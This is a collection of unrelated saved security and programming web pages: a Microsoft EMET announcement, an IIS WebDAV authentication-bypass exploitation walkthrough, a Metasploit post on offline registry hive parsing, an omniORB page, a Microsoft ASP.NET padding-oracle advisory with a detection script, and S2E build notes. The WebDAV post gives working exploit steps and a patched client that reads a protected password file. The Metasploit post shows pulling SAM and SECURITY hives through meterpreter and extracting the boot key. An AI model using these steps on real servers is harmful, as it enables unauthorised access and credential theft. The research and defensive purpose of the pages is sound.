4. EMET is a living tool designed to be updated as new mitigation technologies become available. This provides a chance for users to try out and benefit from mitigations before they are included in the next versions of our products. It also gives users the opportunity to provide feedback and help guide the future of mitigation technologies in Microsoft products.
# Supported Mitigations

This initial release of EMET is primarily focused on providing an extensible
framework that will have future mitigations added to it. A total of four
mitigations are also being included with this release and are listed below. We
will provide announcements as future mitigations are added. If you have ideas
about mitigations you’d like to see \(whether they already exist or not\) feel
free to contact us.

**SEHOP**

This mitigation performs Structured Exception Handling \(SEH\) chain
validation and breaks SEH overwrite exploitation techniques. Take a look at
the following SRD blog post for more information:
http://blogs.technet.com/srd/archive/2009/02/02/preventing-the-exploitation-
of-seh-overwrites-with-sehop.aspx. With this protection in place, the msvidctl
exploit we already blogged about
\(http://blogs.technet.com/srd/archive/2009/07/28/msvidctl-ms09-032-and-the-
atl-vulnerability.aspx\) would have failed.

**Dynamic DEP**

Data Execution Prevention \(DEP\) is a memory protection mitigation that marks
portions of a process’ memory non-executable. This makes it more difficult to
an attacker to exploit memory corruption vulnerabilities. For more information
on what DEP is and how it works, take a look at the two part SRD blog
available athttp://blogs.technet.com/srd/archive/2009/06/12/understanding-dep-
as-a-mitigation-technology-part-1.aspx and
http://blogs.technet.com/srd/archive/2009/06/12/understanding-dep-as-a-
mitigation-technology-part-2.aspx.

**NULL page allocation**

This blocks attackers from being able to take advantage of NULL dereferences
in user mode. It functions by allocating the first page of memory before the
program starts. Right now the exploitation techniques for these types of
vulnerabilities are only theoretical. However, this mitigation will protect
you even if that changes. Please note this protection does not impact kernel
mode NULL dereferences as the current version of EMET only supports user mode
mitigations.

**Heap spray allocation**

Heap spraying is an attack technique that involves filling a process’ heap
with specially crafted content \(typically including shellcode\) to aid in
exploitation. Right now, many attackers rely on their content being placed at
a common set of memory addresses.

This mitigation is designed to pre-allocate those memory addresses and thus
block these common attacks. Please note that it only aims to break current
exploit that take advantage of these common addresses. It is not a general
mitigation for the larger heap spraying attack. That said, if attackers do
change the addresses they use, EMET users can change the addresses

# A Note about Application Compatibility

Security mitigations carry an application compatibility risk with them. Some
applications rely on precisely the behavior that the mitigations block. For
this reason mitigations are typically turned off by default and require opt-in
from a developer before they are enabled. While EMET allows users to override
this, it is important to be aware of the risk. EMET is intended for tech savvy
users such as IT professionals and security researchers who can troubleshoot
issues that these mitigations may introduce. We also recommend testing your
applications and use scenarios with these mitigations prior to deploying them
on any production systems.

# Feedback

We encourage you to download and try out the tool. If you have any feedback on
your experiences with the tool, you can reach us at **switech@microsoft.com
**.

Special thanks to Matt Miller for his assistance with EMET.

- Fermin J. Serna and Andrew Roths, MSRC Engineering
Published Tuesday, October 27, 2009 9:21 AM by swiblog

# SkullSecurity » Blog Archive » WebDAV Detection, Vulnerability Checking and
Exploitation

**Created:**| _5/21/2009 12:35:08 PM_  
---|---  
**Updated:**| _5/21/2009 12:35:20 PM_  
**Author:**| __  
**Tags:**| _windows security Exploit Hacks pwnage_  
  

## WebDAV Detection, Vulnerability Checking and Exploitation

Filed under: Hacking, Tools

Ahoy\! My name is Andrew and I’ve been playing with the recent IIS WebDAV
authentication bypass vulnerability \(CVE-2009-1676\) and helping Ron with
writing the nmap detection script \(http-iis-webdav-vuln.nse\) and testing it
in the lab. Ron is in a meeting today so I thought I’d jump in where he left
off and post a bit about how to detect if WebDAV is enabled and how to
actually exploit a folder once you’ve determined it is vulnerable.

The first thing one should know when playing with this vulnerability is that
the IIS server is not exploitable if the root folder is protected. Also if the
root folder is protected, there is no way to determine if WebDAV is even
enabled. That being said, if the root folder is \_not\_ protected then it’s
time to break out the funky cold medina and have some fun.

## Detecting if WebDAV is enabled

Tested working on  
\* IIS 6.0/Windows 2003 Enterprise SP2  
\* IIS 5.1/Windows XP Pro SP2  
\* IIS 5.0/Windows 2000 SP4

On IIS 6.0, WebDAV is disabled by default. On IIS 5.0 and 5.1, WebDAV is
enabled by default and you must edit the registry to disable it.

My method of detection simply involves running a PROPFIND request on the
server. This is the same basic PROPFIND request we used in the http-iis-
webdav-vuln.nse script:

[code]

    PROPFIND / HTTP/1.1
    Host: xxx.xxx.xxx.xxx
    Content-Type: application/xml
    Content-Length: 298
    
    <?xml version="1.0" encoding="utf-8"?>
    <propfind xmlns="DAV:">
    <prop>
    <getcontentlength xmlns="DAV:"/>
    <getlastmodified xmlns="DAV:"/>
    <executable xmlns="http://apache.org/dav/props/"/>
    <resourcetype xmlns="DAV:"/>
    <checked-in xmlns="DAV:"/>
    <checked-out xmlns="DAV:"/>
    </prop>
    </propfind>
    
    
[/code]

When WebDAV is enabled, it should return “HTTP/1.1 207 Multi-Status”.

When WebDAV has been disabled, it should return “HTTP/1.1 501 Not Supported”.

This is the method I’ve implemented in the http-iis-webdav-vuln.nse script. It
works great in the lab on IIS servers. If we get back anything other than a
207 or 501 then we jump ship saying the web server is not supported. An Ubuntu
server running Apache returns a 405 Method Not Allowed for instance.

## Checking if a server is vulnerable

Tested working on  
\* IIS 6.0/Windows 2003 Enterprise SP2  
\* IIS 5.1/Windows XP Pro SP2

Tested not working on  
\* IIS 5.0/Windows 2000 SP4

The original script only used one type of check; it would first find a
protected folder \(/secret/\) and then try inserting the %c0%af character
after the first /. It would turn /secret/ into /%c0%afsecret/.

This worked fine on IIS 6.0 but did not work at all on IIS 5.0/5.1. After
playing with it some more today, we managed to get it working on IIS 5.1. The
trick with 5.1 is that the %c0%af character can not be right after the / but
must be somewhere in the middle of the folder name. This also works on IIS
6.0. I modified the script so that it uses the 5.1/6.0 check, turning /secret/
into /s%c0%afecret/.

## Finding a vulnerable server

Tested working on  
\* IIS 6.0/Windows 2003 Enterprise SP2  
\* IIS 5.1/Windows XP Pro SP2

Tested not working on  
\* IIS 5.0/Windows 2000 SP4

Now for the fun part. If you havent turned on some funky cold medina yet, get
to it because we’re almost done\!

First thing we need to do is find a vulnerable server. I just happen to know
of a Windows 2003 box in my lab running IIS 6.0 that is vulnerable \(fully
patched up to today btw\). Lets see how an nmap scan of this box with the
updated script works out:

[code]

    > ./nmap -T4 -p80 --script=http-iis-webdav-vuln xxx.xxx.xxx.xxx
    
    Starting Nmap 4.85BETA9 ( http://nmap.org ) at 2009-05-20 14:29 CDT
    Interesting ports on xxx.xxx.xxx.xxx:
    PORT   STATE SERVICE
    80/tcp open  http
    |_ http-iis-webdav-vuln: WebDAV is ENABLED. Vulnerable folders discovered: /private, /secret, /webdav
    
    Nmap done: 1 IP address (1 host up) scanned in 21.41 seconds
    
    
[/code]

Interesting\! So now we know the server has WebDAV enabled and that there are
three vulnerable folders.

## Exploiting it\!

Now we could do everything by telnet-ing over port 80, but that’s not much fun
\(believe me, it’s very tedious\!\) so I went looking for a WebDAV client. I
stumbled upon a FOSS one called cadaver, and based purely on the name I
grabbed it. Now cadaver itself is a great little command line WebDAV client
but I quickly realized it has a bunch of problems that won’t let us do what we
wanted. The nice thing about FOSS is that it’s open, so we grabbed the
cadaver-0.23.2 source and after hacking away at it for awhile, we came up with
a little patch that makes it quite easy to exploit a server. Check the patch
itself for the gritty details but basically it does the following:

1\) Replace any “Depth: 0″ header with “Depth: 1″ \(otherwise ls won’t work\)  
2\) Append the header “Translate: f” to every request \(otherwise get and
probably others won’t work\)  
3\) Insert the characters “%c0%af” into any uri request longer than 1
character.

So, grab the cadaver-0.23.2-h4x.patch and apply it to the cadaver-0.23.2
source from the cadaver website. Here’s the commands:

[code]

    > mkdir cadaver-h4x
    > cd cadaver-h4x
    > wget http://www.skullsecurity.org/blogdata/cadaver-0.23.2-h4x.patch
    --snip--
    > wget http://www.webdav.org/cadaver/cadaver-0.23.2.tar.gz
    --snip--
    > tar xzvf cadaver-0.23.2.tar.gz
    --snip--
    > cd cadaver-0.23.2/
    > patch -p1 < ../cadaver-0.23.2-h4x.patch
    patching file lib/neon/ne_basic.c
    patching file lib/neon/ne_request.c
    patching file lib/neon/ne_uri.c
    > ./configure
    --snip--
    > make
    --snip--
    
    
[/code]

Now we should have a patched, compiled version of cadaver, so start it up with
the server that was identified as having a vulnerable folder earlier:

[code]

    > ./cadaver xxx.xxx.xxx.xxx
    
    
[/code]

This should drop you to a “dav:/>” prompt. Now just cd into the vulnerable
folder and check out what’s there:

[code]

    dav:/> cd secret
    dav:/secret/> ls
    Listing collection `/secret/': succeeded.
            password.txt                           7  May 19 10:40
    dav:/secret/> cat password.txt
    Displaying `/secret/password.txt':
    ron$pr0ns
    dav:/secret/>
    
    
[/code]

And there you have it\!

Here’s a list of commands that I’ve tested that work with the patched cadaver
on a vulnerable folder:  
\* CD  
\* LS  
\* MOVE  
\* PUT  
\* GET  
\* CAT  
\* DELETE

Oddly enough, the **COPY** command does **NOT** work. We didn’t have time to
investigate why, but the functionality can be duplicated by a get/local
rename/put.

Also, this patched cadaver will not work for browsing regular WebDAV folders
\(non-vulnerable\), so don’t try.

If anyone has been able to successfully exploit this on IIS 5.0 \(Windows
2000\), please contact me, we’ve been trying and can’t get it to work in the
lab here.

Comments are welcome, you can also contact me by e-mail: andrew at andreworr
dot ca

# Rapid7 Community: Metasploit: Adventures in the Windows NT Registry: A step
into the world of Forensics and Information Gathering

**Created:**| _1/22/2012 7:34:42 PM_  
---|---  
**Updated:**| _1/22/2012 7:34:42 PM_  
**Author:**| __  
**Tags:**| _Forensics windows environment_  
  

## Adventures in the Windows NT Registry: A step into the world of Forensics
and Information Gathering

Posted by Brandon Perry on Jan 16, 2012 4:58:24 PM

As of a few days ago, the Metasploit Framework has full read-only access to
offline registry hives. Within Rex you will now find a Rex::Registry namespace
that will allow you to load and parse offline NT registry hives \(includes
Windows 2000 and up\), implemented in pure Ruby. This is a great addition to
the framework because it allows you to be sneakier and more stealthy while
gathering information on a remote computer. You no longer need to rely on
arcane Windows APIs with silly data structures and you can interact with the
registry hives in an object-oriented manner. Combined with the recent
ShadowCopy additions from TheLightCosine, you have a very powerful forensics
suite at your fingertips.

Before I get ahead of myself, I should explain exactly what the registry is
and why it matters.

When you open up regedit on a Windows computer, regedit is actually opening
many different registry **_hives._** A registry hive is a binary file that is
stored either in C:\Windows\System32\config \(SYSTEM, SOFTWARE, SAM,
SECURITY\) or in a user's profile \(NTUSER.dat\). These hives store system
information and configurations, user information, and all sorts of just
interesting information \(group policy settings for instance\). These files
are locked while Windows is running. In the past, we have used methods like
exporting specific hives in order to get around this lock, and this still
works well enough. We now have the option of using the Volume Snapshot
Service, or VSS, to create a copy of a hive while locked. However, there has
been no good way to analyse and parse these hives on a system that wasn't
running Windows after copying them.

The easiest way is to create copies of the hives, and pull them down to your
local machine in a centralised place. I used 'reg SAVE HKLM\$HIVE $HIVE.hive',
substituting $HIVE for the actual hive name, then **download** 'ed the copied
hive in meterpreter.

[code]

    root@w00den-pickle:/home/bperry/Projects/new_hives# file ./*  
    ./sam.hive:            MS Windows registry file, NT/2000 or above 
    ./security.hive:       MS Windows registry file, NT/2000 or above 
    ./software.hive:       MS Windows registry file, NT/2000 or above 
    ./system.hive:         MS Windows registry file, NT/2000 or above 
    root@w00den-pickle:/home/bperry/Projects/new_hives# 
[/code]

You will find a new tool within the source tree called reg.rb
\(tools/reg.rb\). This script consumes the Rex::Registry library and has many
predefined methods to help speed up IG. Work is still being done on reg.rb, it
has a lot of potential. Ideas or functionality requests are appreciated.
Patches too.

A small primer on how the registry stores data is in order. WIthin a registry
hive, you have 5 **value** types:

0x01 -- "Unicode character string"

0x02 -- "Unicode string with %VAR% expanding"

0x03 -- "Raw binary value"

0x04 -- "Dword"

0x07 -- "Multiple unicode strings separated with '\\\x00'"

Types 1, 2, and 7 can be printed to a screen in a readable form without much
issue. Types 3 and 4, however, are binary types and will be printed out in
their base16 representations \(\xde\xad\xbe\xef\). Keep this in mind when
querying values from a registry hive.

For instance, let's say we need to find out the Default Control Set in order
to query correct values pertaining to drivers or the boot key. Your query
would look similar to this:

[code]

    root@w00den-pickle:~/tools/metasploit-framework/tools# ./reg.rb query_value '\Select\Default' /home/bperry/Projects/new_hives/system.hive
    Hive name: SYSTEM
    Value Name: Default
    Value Data: "\x01\x00\x00\x00"
    root@w00den-pickle:~/tools/metasploit-framework/tools# 
    
[/code]

This tells us that the Default Control Set is ControlSet001. When we query the
root key \('', "", '\', or "\\\"\) of the SYSTEM hive, we will see the
available ControlSets:

[/code]

[code]

root@w00den-pickle:~/tools/metasploit-framework/tools\# ./reg.rb query\_key ''
/home/bperry/Projects/new\_hives/system

Hive name: SYSTEM

Child Keys for

===============

Name Last Edited Subkey Count Value Count

\---- ----------- ------------ -----------

ControlSet001 2010-08-21 08:56:36 -0500 4 0

ControlSet002 2010-08-21 16:05:32 -0500 4 0

LastKnownGoodRecovery 2011-12-13 21:22:55 -0600 1 0

MountedDevices 2010-08-21 08:56:18 -0500 0 4

Select 2010-08-21 16:05:32 -0500 0 4

Setup 2010-08-21 16:05:33 -0500 4 6

WPA 2010-08-21 16:08:33 -0500 4 0

Values in key

==============

Name Value Type Value

\---- ---------- -----

root@w00den-pickle:~/tools/metasploit-framework/tools\#

When querying the hives, the library queries relatively from the root key. On
XP machines, the root key is always named $$$PROTO.HIV. On Vista+, the root
key is always named along the lines of CMI-
CreateHive\{F10156BE-0E87-4EFB-969E-5DA29D131144\}. The guid will be variable.
This is important to note because many times a key will be given to you in
this form:

[code]

    HKLM\Software\Microsoft\Windows\CurrentVersion\Uninstall\
[/code]

In the above example, there are actually three parts. HKLM stands for
HKEY\_LOCAL\_MACHINE. This tells regedit to load the local registry hives. The
second part, Software, tells regedit the key is in the SOFTWARE hive. The
third part, Microsoft\Windows\CurrentVersion\Uninstall, is the actual key path
relative to the root key in the hive. Since reg.rb only looks at arbitrary
hives, the first two parts aren't needed.

If you were to query the above key with reg.rb, the command would look like
this:

[code]

    reg.rb query_key '\Microsoft\Windows\CurrentVersion\Uninstall' /path/to/hive/SOFTWARE
[/code]

This would enumerate the installed programs on the computer along with the
date and time the key was created. Generally, the keys in the above key are
created when the program is installed, so you can see how long a program has
been installed on a computer as well.

The library also allows you to query for data that would otherwise be hidden.
Each nodekey has the ability to have a classname. This classname isn't shown
in regedit, and some very important information can be held in this container.
For instance, the boot key is stored in 4 separate key classnames that would
otherwise not be accessible. reg.rb allows you to query for the boot key
easily:

[code]

    root@w00den-pickle:~/tools/metasploit-framework/tools# ./reg.rb get_boot_key /home/bperry/tmo/hives/SYSTEM
    Getting boot key
    Root key: CMI-CreateHive{F10156BE-0E87-4EFB-969E-5DA29D131144}
    Default ControlSet: ControlSet001
    3b53e09758c0f142a1771c47798b0b01
    root@w00den-pickle:~/tools/metasploit-framework/tools# 
    
[/code]

**Accessing the hives programmatically**

You may find yourself wanting to work with the hives programmatically, via a
resource script with ERB, or straight from **irb**. The main class you will be
working with is Rex::Registry::Hive. You perform queries directly off of the
hive object.

[/code]

[code]

msf > irb \[\*\] Starting IRB shell... >> require 'rex/registry' => true >>
hive = Rex::Registry::Hive.new\('/home/bperry/tmo/hives/SYSTEM'\); nil => nil
>> hive.hive\_regf.hive\_name => "SYSTEM" >> hive.root\_key.name => "CMI-
CreateHive\{F10156BE-0E87-4EFB-969E-5DA29D131144\}"

In the above example, we create a new **hive** object. Every hive has a root
key, and begins with a regf block\(which tells you what the name of the hive
is, among other things\). A root key is simply a nodekey with a special flag.

[/code]

[code]

>> hive.root\_key.lf\_record.children.each \{ |k| p k.name \}; nil

"ControlSet001"

"ControlSet002"

"MountedDevices"

"RNG"

"Select"

"Setup"

"WPA"

=> nil

Every nodekey will have either an lf\_record or a valuelist \(or both\!\). The
lf\_record contains the **child nodekeys**. The valuelist contains the **child
values**.

[/code]

[code]

>> valuekey = hive.value\_query\('\Select\Default'\); nil

=> nil

>> nodekey = hive.relative\_query\('\ControlSet001\Control\Lsa'\); nil

The value\_query method of the hive returns a ValueKey. The relative\_query
method returns a NodeKey. Performing a relative\_query on a **value** 's path
rather than a **node** 's path will return the value's **parent node**.

As you can see, the library is quite powerful. It gives you a lot of control
over your offline hives when performing forensics or IG. There is a lot of
work to be done, with write support in the future very possible. I look
forward to seeing what cool modules the community can cook up that utilizes
the library. Be sure to update the framework to its latest version to ensure
you have the most up to date library to play with.

# omniORB

**Created:**| _10/24/2010 6:27:49 PM_  
---|---  
**Updated:**| _10/24/2010 6:27:58 PM_  
**Author:**| __  
**Tags:**| _python programming Distributed systems Filesystem_  
  

# Free High Performance ORB  
---  
**Destinations** omniORB home  
History  
Features  
Download  
Documentation  
Wiki  
FAQ  
Bugs  
Development  
CVS snapshots  
SF project  
Mailing list  
Links  
Support  
Contact  
  

* * *
<img src='img/Temp2_10510.png' width='88' height='31' alt='SourceForge.net
Logo' />  
<img src='img/Temp2_10511.png' width='1' height='1' /> | 
## Latest news

  * **Thursday 3 September 2009** \- omniORB development moved to Subversion.
  * **Monday 20 July 2009** \- omniORB 4.1.4 and omniORBpy 3.4 released\!
  *   

  * **Wednesday 1 October 2008** \- omniORB 4.1.3 and omniORBpy 3.3 released\!
  * ...
  * **2 August 2002** \- Commercial support for omniORB is available.
  * **24 April 2002** \- AT&T Laboratories Cambridge closed. omniORB is now independent.

## About omniORB

**omniORB** is a robust high performance CORBA ORB for C++ and Python. It is
freely available under the terms of the GNU Lesser General Public License
\(for the libraries\), and GNU General Public License \(for the tools\).
omniORB is largely CORBA 2.6 compliant. omniORB is one of only three ORBs to
have been awarded the Open Group's Open Brand for CORBA. This means that
omniORB has been tested and certified CORBA compliant, to version 2.1 of the
CORBA specification. You can find out more about the branding program at the
Open Group. You might want to read more about the history of omniORB, or see a
summary of omniORB's features. On the Wiki page, you can see a list ofpeople
and organisations using omniORB, and add yourself to the list. To get help
with using omniORB, or to keep up with the latest developments, subscribe to
the omniORB mailing list.

# Understanding the ASP.NET Vulnerability - Security Research & Defense - Site
Home - TechNet Blogs

**Created:**| _9/18/2010 10:16:55 AM_  
---|---  
**Updated:**| _9/18/2010 10:16:55 AM_  
**Author:**| __  
**Tags:**| _attacks windows security .Net crypto analysis windows environment_  
  

### Understanding the ASP.NET Vulnerability

swiblog

17 Sep 2010 7:55 PM

Our recent advisory describes an ASP.NET vulnerability which was recently
publicly disclosed. This blog post will give you more information about the
vulnerability and the workaround. It will also provide a script which will
help you detect ASP.NET applications on your server that are in a vulnerable
configuration.

**The Impact of the Vulnerability**

ASP.Net uses encryption to hide sensitive data and protect it from tampering
by the client. However, a vulnerability in the ASP.Net encryption
implementation can allow an attacker to decrypt and tamper with this data.

But what can the attacker do with this capability? Part of the answer depends
on the ASP.Net application being attacked. For example, if the ASP.Net
application stores sensitive information, such as passwords or database
connection strings, in the ViewState object this data could be compromised.
The ViewState object is encrypted and sent to the client in a hidden form
variable, so it is a possible target of this attack.

If the ASP.Net application is using ASP.Net 3.5 SP1 or above, the attacker
could use this encryption vulnerability to request the contents of an
arbitrary file within the ASP.Net application. The public disclosure
demonstrated using this technique to retrieve the contents of web.config. Any
file in the ASP.Net application which the worker process has access to will be
returned to the attacker.

**How the Vulnerability Works**

To understand how this vulnerability works, you need to know about
cryptographic oracles. An oracle in the context of cryptography is a system
which provides hints as you ask it questions. In this case, there is a
vulnerability in ASP.Net which acts as a padding oracle. This allows an
attacker to send chosen cipher text to the server and learn if it was
decrypted properly by examining which error code was returned by the server.

By making many requests the attacker can learn enough to successfully decrypt
the rest of the cipher text. The attacker can then alter the plain text and
re-encrypt it as well.

**The Workaround - Silencing the Oracle**

The workaround for this vulnerability is to use the customErrors feature of
ASP.NET to configure applications to return the same error page regardless of
the error encountered on the server.

By following the steps in the advisory to map all error messages to a single
error page, you make it difficult for the attacker to distinguish between the
different types of errors, effectively limiting access to the oracle.

**How to Detect Vulnerable ASP.Net Applications**

Some ASP.Net applications may already be configured to return the same error
page for all server errors. To detect ASP.Net applications that are not
configured this way and need to have the workaround applied to them, use the
following script:

[code]

    '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
    '  This script will list all paths on a server that have ASP.Net 
    '  customErrors turned off in a web.config file.
    '
    '  Usage: 
    '      cscript DetectCustomErrors.vbs [RemoteServerName] 
    '
    ' NOTE: THIS SCRIPT USES THE FILESYSTEM AND SHELL OBJECT AND SHOULD BE
    '       RUN AS AN ADMINISTRATOR
    ' 
    '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
    
    OPTION EXPLICIT
    ON ERROR RESUME NEXT
    DIM strServer
    DIM objWebService, objWebServer, objDir, objFileSys
    DIM physicalPath, dir, xmlDoc, nodeList, node, ret
    DIM configFile, configFilePath, configLine, count
    DIM childNodes, ErrPage500, ErrPage404, errFound
    DIM index, errCount
    
    strServer = "localhost"
    
    
    ' Parse command line input
    '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
    IF WScript.Arguments.Length=1 THEN
        strServer = WScript.Arguments( 0 )
    END IF
    
    IF WScript.Arguments.Length>1 THEN
        WScript.Echo "Illegal number of arguments"
        WScript.Echo "Usage: cscript.exe DetectCustomErrorsDisabled.vbs [RemoteServerName]"
        WScript.Quit( 1 )
    END IF
    
    ' Initializations
    '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
    SET objFileSys = CreateObject("Scripting.FileSystemObject")
    SET objWebService = GetObject( "IIS://" & strServer & "/W3SVC" )
    IF Err <> 0 THEN
        WScript.Echo "Could not find IIS ADSI object. Make sure you have IIS and IIS6 management compatibility installed."
        WScript.Quit (1)
    END IF
    SET xmlDoc = CreateObject("Microsoft.XMLDOM")
    
    IF IsNull(objFileSys) THEN
        WScript.Echo "Failed to create FileSystemObject. Please run script as Admin."
        WScript.Quit (1)
    END IF
    
    IF IsNull(objWebService) THEN
        WScript.Echo "Failed to connect to IIS ADSI provider. Make sure you have IIS6 "_
        + "management compatibility role service installed."
        WScript.Quit (1)
    END IF
    
    WScript.Echo("Enumerating possible paths with ASP.Net configuration that have" _
        +" custom errors turned off.")    
    WScript.Echo ("")    
    
    
    ' Search web server for unsafe configuration
    '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
    FindASPNetConfig(objWebService)
    
    
    ' Search all paths on web server for possible web.config  files.
    '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
    SUB FindASPNetConfig(WebService)
    
        FOR EACH objWebServer IN WebService
            IF objWebserver.Class = "IIsWebServer" THEN
                EnumDirectories(objWebServer)
            END IF
        NEXT
        
    END SUB
    
    ' Recursively go through vdirs and webdirs
    '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
    SUB EnumDirectories(objDir)
        
        DIM objSubDir
        ' The first call to this is from IIsWebServer, so we can skip that
        FOR EACH objSubDir IN objDir
            IF (objSubDir.Class = "IIsWebVirtualDir") THEN
                GetPhysicalPaths(objSubDir)            
                EnumDirectories(objSubDir)
                
            END IF
        NEXT	
        
    END SUB
    
    
    ' Get physical paths for web and virtual directories
    '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
    SUB GetPhysicalPaths(objDir)
        
        physicalPath = objDir.Path
        CALL EnumWebConfig(physicalPath,1)
    
    END SUB
    
    
    ' Recursively search for web.config files.
    '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
    SUB EnumWebConfig(Path,IsRoot)
    
        configFilePath = Path & "\web.config"
        IF objFileSys.FileExists(configFilePath) THEN 
            CALL ProcessWebConfig(configFilePath,IsRoot)
        END IF
        
        FOR EACH dir IN objFileSys.GetFolder(Path).SubFolders
            CALL EnumWebConfig(dir.Path,0)
        NEXT
    
    END SUB
    
    ' Skip known identities that will have Write access by default
    '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
    SUB ProcessWebConfig(Path,IsRoot)
        xmlDoc.async="false"
        xmlDoc.load(Path)
        errFound = 0
        SET nodeList = xmlDoc.getElementsByTagName("customErrors")
    
        IF IsRoot = 1 AND nodeList.length = 0 THEN
            ' Root web.config does not set defaultRedirect, so this config should 
            ' have a customErrors section present with customErrors turned on and a 
            ' defaultRedirect present. Else this is a vulnerable configuration.
    	
            ' WScript.Echo path & ": Root web.config must have customErrors with defaultRedirect defined"
    
            errFound = errFound + 1
    
        ELSEIF IsRoot = 1 THEN
            ret = CheckRootCustomErrorsSection(nodeList, Path)
            errFound = errFound + ret
        END IF
    
        FOR count=0 TO nodeList.length-1
            ret = CheckCustomErrorsDisabled(nodeList.Item(count), Path)
    	    errFound = errFound + ret
            ret = CheckCustomErrorsAreHomogenous(nodeList.Item(count), Path)
    	    errFound = errFound + ret
        NEXT
                
        IF errFound > 0 THEN
            WScript.Echo Path & ": ** Vulnerable configuration found **"
        ELSE
            WScript.Echo Path & ": ok"
        END IF
    END SUB
    
    
    FUNCTION CheckRootCustomErrorsSection(xmlnodelist, path)
    WScript.Echo "CheckRoot: " & xmlnodelist.length & ": "& path 
    
        errCount = 0
        FOR index=0 TO xmlnodeList.length-1
            ret = CheckRootCustomErrorsDisabled(nodeList.Item(index), Path)
    	    errCount = errCount + ret
        NEXT
    
        CheckRootCustomErrorsSection = errCount
    END FUNCTION
    
    
    FUNCTION CheckRootCustomErrorsDisabled(xmlnode, path)
        
        IF StrComp (LCase(xmlnode.getAttribute("mode")), "off") = 0 THEN
            ' WScript.Echo path & ": Custom Error disabled: " & xmlnode.xml
            CheckRootCustomErrorsDisabled = 1
            EXIT FUNCTION
        ELSEIF IsNull(xmlnode.getAttribute("defaultRedirect")) THEN
            ' WScript.Echo path & ": defaultRedirect not set: " & xmlnode.xml
            CheckRootCustomErrorsDisabled = 1
            EXIT FUNCTION
        ELSE
            CheckRootCustomErrorsDisabled = 0
        END IF
        
    END FUNCTION
    
    
    FUNCTION CheckCustomErrorsDisabled(xmlnode, path)
        IF StrComp (LCase(xmlnode.getAttribute("mode")), "off") = 0 THEN
            ' Unsafe config
            ' WScript.Echo path & ": Custom Error disabled: " & xmlnode.xml
            CheckCustomErrorsDisabled = 1
        ELSE
            CheckCustomErrorsDisabled = 0
        END IF
        
    END FUNCTION
    
    FUNCTION CheckCustomErrorsAreHomogenous(xmlnode, path)
        IF xmlnode.childNodes.length=0 AND len(xmlNode.getAttribute("defaultRedirect"))>0 THEN
    	    CheckCustomErrorsAreHomogenous = 0
            EXIT FUNCTION
        END IF
    
        SET childNodes = xmlnode.childNodes
    
        ErrPage404 = ""
        ErrPage500 = ""
    
        FOR count=0 TO childNodes.length-1
            CALL GetErrorPage(childNodes.Item(count))
        NEXT
    
        IF StrComp(ErrPage404,"") = 0 AND StrComp(ErrPage500,"") = 0 AND IsNull(xmlNode.getAttribute("defaultRedirect")) THEN
            ' Missing defaultRedirect in this case will cause config to be vulnerable
            CheckCustomErrorsAreHomogenous = 1
            EXIT FUNCTION
        ELSEIF StrComp(ErrPage404,"") = 0 AND StrComp(ErrPage500,"") <> 0 AND StrComp(ErrPage500, xmlNode.getAttribute("defaultRedirect")) <> 0 THEN
            'WScript.Echo path & ": 500 and default error pages differ: " & xmlnode.xml
            CheckCustomErrorsAreHomogenous = 1
            EXIT FUNCTION
        ELSEIF StrComp(ErrPage500,"") = 0 AND StrComp(ErrPage404,"") <> 0 AND StrComp(ErrPage404, xmlNode.getAttribute("defaultRedirect")) <> 0 THEN
            'WScript.Echo path & ": 404 and default error pages differ: " & xmlnode.xml
            CheckCustomErrorsAreHomogenous = 1
            EXIT FUNCTION
        ELSEIF StrComp(ErrPage404, ErrPage500) <> 0 THEN
            'WScript.Echo path & ": 404 and 500 error pages differ: " & xmlnode.xml
            CheckCustomErrorsAreHomogenous = 1
            EXIT FUNCTION
        ELSE 
            CheckCustomErrorsAreHomogenous = 0 
        END IF
    
    END FUNCTION
    
    SUB GetErrorPage(xmlnode)
        IF StrComp(xmlnode.getAttribute("statusCode"), "500") = 0 THEN
            ErrPage500 = xmlnode.getAttribute("redirect")
        ELSEIF StrComp(xmlnode.getAttribute("statusCode"), "404") = 0 THEN
            ErrPage404 = xmlnode.getAttribute("redirect")
        END IF
    
    END SUB
    
    
[/code]

**Acknowledgements**

Many thanks to Levi Broderick, Nazim Lala, and Stefan Schackow for their
contributions to this post.

-Kevin Brown, MSRC Engineering 
**Updated September 18, 2010**

Made several improvements to the included script to catch additional corner
cases. Clarified that an attacker can only retrieve files from within the
ASP.Net application.

# DSLab » S²E - BuildingOnMacOSX - Dependable Systems Laboratory

**Created:**| _5/25/2011 4:53:02 PM_  
---|---  
**Updated:**| _5/25/2011 4:53:10 PM_  
**Author:**| __  
**Tags:**| _bookmark howto_  
  

# BuildingOnMacOSX \(Darwin 10\)¶

The `llvm-gcc` binaries for `llvm-2.6` are pre-built for Darwin 9 and don't
work on Darwin 10 systems correctly. Darwin 10 already has `llvm-gcc`, but it
works for LLVM versions >2.6. Thus, the `llvm-gcc` binaries for `llvm-2.6`
must be compiled manually. In addition, install `binutils` package \(manually
or via MacPorts\).

  * Prepare the build environment.

[code]

    $ mkdir $S2EDIR/build
    $ cd $S2EDIR/build
    ln -s ../s2e/Makefile .
    
    
[/code]

  * Build `llvm-2.6` manually.

[code]

    $ wget http://llvm.org/releases/2.6/llvm-2.6.tar.gz
    $ tar -zxf llvm-2.6.tar.gz
    $ cd llvm-2.6
    $ ./configure --target=x86_64 --enable-optimized
    $ make (use -jX to speedup the build process)
    
    
[/code]

  * Build `llvm-gcc` for `llvm-2.6` manually.

[code]

    $ cd $S2EDIR/build
    $ wget http://www.llvm.org/releases/2.6/llvm-gcc-4.2-2.6.source.tar.gz
    $ tar -zxf llvm-gcc-4.2-2.6.source.tar.gz
    $ mkdir llvm-gcc4.2-2.6 && cd llvm-gcc4.2-2.6
    $ mkdir -p obj install/lib
    $ ln -sf /usr/lib/libstdc++.6.dylib install/lib
    $ ln -sf /usr/lib/libstdc++.6.dylib install/lib/libstdc++.dylib
